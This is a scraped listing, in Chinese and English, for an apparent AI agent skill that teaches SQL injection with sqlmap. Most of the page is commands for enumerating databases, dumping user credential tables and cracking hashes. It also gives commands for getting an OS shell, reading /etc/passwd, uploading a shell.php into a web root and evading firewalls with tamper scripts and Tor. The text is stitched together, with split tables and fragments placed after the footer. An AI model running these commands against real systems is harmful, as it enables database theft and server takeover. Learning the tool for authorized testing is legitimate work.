SQLMap Database Penetration Testing by claudiodearaujo/izacenter
npx skills add https://github.com/claudiodearaujo/izacenter --skill 'SQLMap Database Penetration Testing'提供使用 SQLMap 进行自动化 SQL 注入检测和利用的系统化方法。此技能涵盖数据库枚举、表和列发现、数据提取、多种目标指定方法,以及针对 MySQL、PostgreSQL、MSSQL、Oracle 和其他数据库管理系统的高级利用技术。
?id=1)# 添加单引号以中断查询
http://target.com/page.php?id=1'
# 如果出现错误消息,则很可能存在 SQL 注入
# 错误示例:"You have an error in your SQL syntax"
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
# 基本漏洞检测
sqlmap -u "http://target.com/page.php?id=1" --batch
# 使用详细输出模式
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
关键选项:
-u: 包含可注入参数的目标 URL--dbs: 枚举数据库名称--batch: 使用默认答案(非交互模式)sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
关键选项:
-D: 指定目标数据库名称--tables: 枚举表名称sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
关键选项:
-T: 指定目标表名称--columns: 枚举列名称sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
关键选项:
--dump: 从指定表提取所有数据--dump-all: 从所有表提取所有数据-C: 指定要提取的列名# 将 Burp Suite 请求保存到文件,然后:
sqlmap -r /path/to/request.txt --dbs --batch
# 提供包含多个请求的日志文件
sqlmap -l /path/to/logfile --dbs --batch
# 创建包含 URL 的文件,每行一个:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
# 自动查找并测试易受攻击的站点(仅限合法目标)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
| 阶段 | 命令 |
|---|---|
| 列出数据库 | sqlmap -u "URL" --dbs --batch |
| 列出表 | sqlmap -u "URL" -D dbname --tables --batch |
| 列出列 | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| 转储数据 | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| 转储全部 | sqlmap -u "URL" -D dbname --dump-all --batch |
| DBMS | 支持级别 |
|---|---|
| MySQL | 完全支持 |
| PostgreSQL | 完全支持 |
| Microsoft SQL Server | 完全支持 |
| Oracle | 完全支持 |
| Microsoft Access | 完全支持 |
| IBM DB2 | 完全支持 |
| SQLite | 完全支持 |
| Firebird | 完全支持 |
| Sybase | 完全支持 |
| SAP MaxDB | 完全支持 |
| HSQLDB | 完全支持 |
| Informix | 完全支持 |
| 技术 | 描述 | 标志 |
|---|---|---|
| 基于布尔的盲注 | 从真/假响应推断数据 | --technique=B |
| 基于时间的盲注 | 使用时间延迟推断数据 | --technique=T |
| 基于错误的注入 | 从错误消息中提取数据 | --technique=E |
| 基于 UNION 查询的注入 | 使用 UNION 附加结果 | --technique=U |
| 堆叠查询 | 执行多个语句 | --technique=S |
| 带外注入 | 使用 DNS 或 HTTP 进行数据外泄 | --technique=Q |
| 选项 | 描述 |
|---|---|
-u | 目标 URL |
-r | 从文件加载 HTTP 请求 |
-l | 从 Burp/WebScarab 日志解析目标 |
-m | 包含多个目标的批量文件 |
-g | Google dork(负责任地使用) |
--dbs | 枚举数据库 |
--tables | 枚举表 |
--columns | 枚举列 |
--dump | 转储表数据 |
--dump-all | 转储所有数据库数据 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--batch | 非交互模式 |
--random-agent | 使用随机 User-Agent |
--level | 测试级别 (1-5) |
--risk | 测试风险 (1-3) |
--threads 加速枚举(默认值:1)--start 和 --stop 限制转储范围--technique 指定更快的注入方法--random-agent 来改变 User-Agent 头--delay 以避免触发速率限制--tor 实现匿名性(仅限授权测试)# 步骤 1:发现数据库
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# 结果:发现 acuart 数据库
# 步骤 2:列出表
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# 结果:users, products, carts 等
# 步骤 3:列出列
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# 结果:username, password, email 列
# 步骤 4:转储用户凭据
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
# 将 Burp 请求保存到文件 (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# 使用请求文件运行 SQLMap
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
# 创建 bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# 扫描所有目标
sqlmap -m bulkfile.txt --dbs --batch
# 使用高级别和高风险进行彻底测试
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# 指定所有技术
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
# 针对特定列
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# 自动破解密码哈希
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
# 获取交互式操作系统 shell(需要 DBA 权限)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# 执行特定操作系统命令
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# 从服务器读取文件
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# 上传文件到服务器
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
原因 : SQLMap 找不到注入点 解决方案 :
# 增加测试级别和风险
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# 显式指定参数
sqlmap -u "URL" -p "id" --dbs --batch
# 尝试不同的注入技术
sqlmap -u "URL" --dbs --batch --technique=BT
# 添加前缀/后缀以绕过过滤器
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
原因 : Web 应用程序防火墙阻止请求 解决方案 :
# 使用篡改脚本
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# 列出可用的篡改脚本
sqlmap --list-tampers
# 常见的篡改脚本组合
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# 在请求之间添加延迟
sqlmap -u "URL" --dbs --batch --delay=2
# 使用随机 User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
原因 : 网络问题或目标响应慢 解决方案 :
# 增加超时时间
sqlmap -u "URL" --dbs --batch --timeout=60
# 减少线程数
sqlmap -u "URL" --dbs --batch --threads=1
# 添加重试次数
sqlmap -u "URL" --dbs --batch --retries=5
原因 : 默认时间延迟过于保守 解决方案 :
# 减少时间延迟(有风险,可能导致漏报)
sqlmap -u "URL" --dbs --batch --time-sec=3
# 如果可能,改用基于布尔的注入
sqlmap -u "URL" --dbs --batch --technique=B
原因 : 表记录太多 解决方案 :
# 限制记录数量
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# 仅转储特定列
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# 排除特定列
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
原因 : 会话超时或连接重置 解决方案 :
# 保存并恢复会话
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# 从保存的会话恢复
sqlmap -u "URL" --dbs --batch --resume
# 使用持久 HTTP 连接
sqlmap -u "URL" --dbs --batch --keep-alive
每周安装次数
0
代码仓库
GitHub 星标数
1
首次出现
1970年1月1日
安全审计
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
?id=1)# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
Key Options:
-u: Target URL with injectable parameter--dbs: Enumerate database names--batch: Use default answers (non-interactive mode)sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Key Options:
-D: Specify target database name--tables: Enumerate table namessqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
Key Options:
-T: Specify target table name--columns: Enumerate column namessqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
Key Options:
--dump: Extract all data from specified table--dump-all: Extract all data from all tables-C: Specify column names to extract# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
| Stage | Command |
|---|---|
| List Databases | sqlmap -u "URL" --dbs --batch |
| List Tables | sqlmap -u "URL" -D dbname --tables --batch |
| List Columns | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| Dump Data | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| Dump All | sqlmap -u "URL" -D dbname --dump-all --batch |
| DBMS | Support Level |
|---|---|
| MySQL | Full Support |
| PostgreSQL | Full Support |
| Microsoft SQL Server | Full Support |
| Oracle | Full Support |
| Microsoft Access | Full Support |
| IBM DB2 | Full Support |
| SQLite | Full Support |
| Firebird | Full Support |
| Sybase | Full Support |
| SAP MaxDB | Full Support |
| HSQLDB | Full Support |
| Informix | Full Support |
| Technique | Description | Flag |
|---|---|---|
| Boolean-based blind | Infers data from true/false responses | --technique=B |
| Time-based blind | Uses time delays to infer data | --technique=T |
| Error-based | Extracts data from error messages | --technique=E |
| UNION query-based | Uses UNION to append results | --technique=U |
| Stacked queries | Executes multiple statements | --technique=S |
| Option | Description |
|---|---|
-u | Target URL |
-r | Load HTTP request from file |
-l | Parse targets from Burp/WebScarab log |
-m | Bulk file with multiple targets |
-g | Google dork (use responsibly) |
--dbs | Enumerate databases |
--threads to speed up enumeration (default: 1)--start and --stop for large tables--technique to specify faster injection method if known--random-agent to vary User-Agent header--delay to avoid triggering rate limits--tor for anonymity (authorized tests only)# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
Cause : SQLMap cannot find injection point Solution :
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
Cause : Web Application Firewall blocking requests Solution :
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
Cause : Network issues or slow target Solution :
# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1
# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
Cause : Default time delay too conservative Solution :
# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
Cause : Table has too many records Solution :
# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
Cause : Session timeout or connection reset Solution :
# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume
# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive
Weekly Installs
0
Repository
GitHub Stars
1
First Seen
Jan 1, 1970
Security Audits
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
24,700 周安装
| Out-of-band | Uses DNS or HTTP for exfiltration | --technique=Q |
--tables| Enumerate tables |
--columns | Enumerate columns |
--dump | Dump table data |
--dump-all | Dump all database data |
-D | Specify database |
-T | Specify table |
-C | Specify columns |
--batch | Non-interactive mode |
--random-agent | Use random User-Agent |
--level | Level of tests (1-5) |
--risk | Risk of tests (1-3) |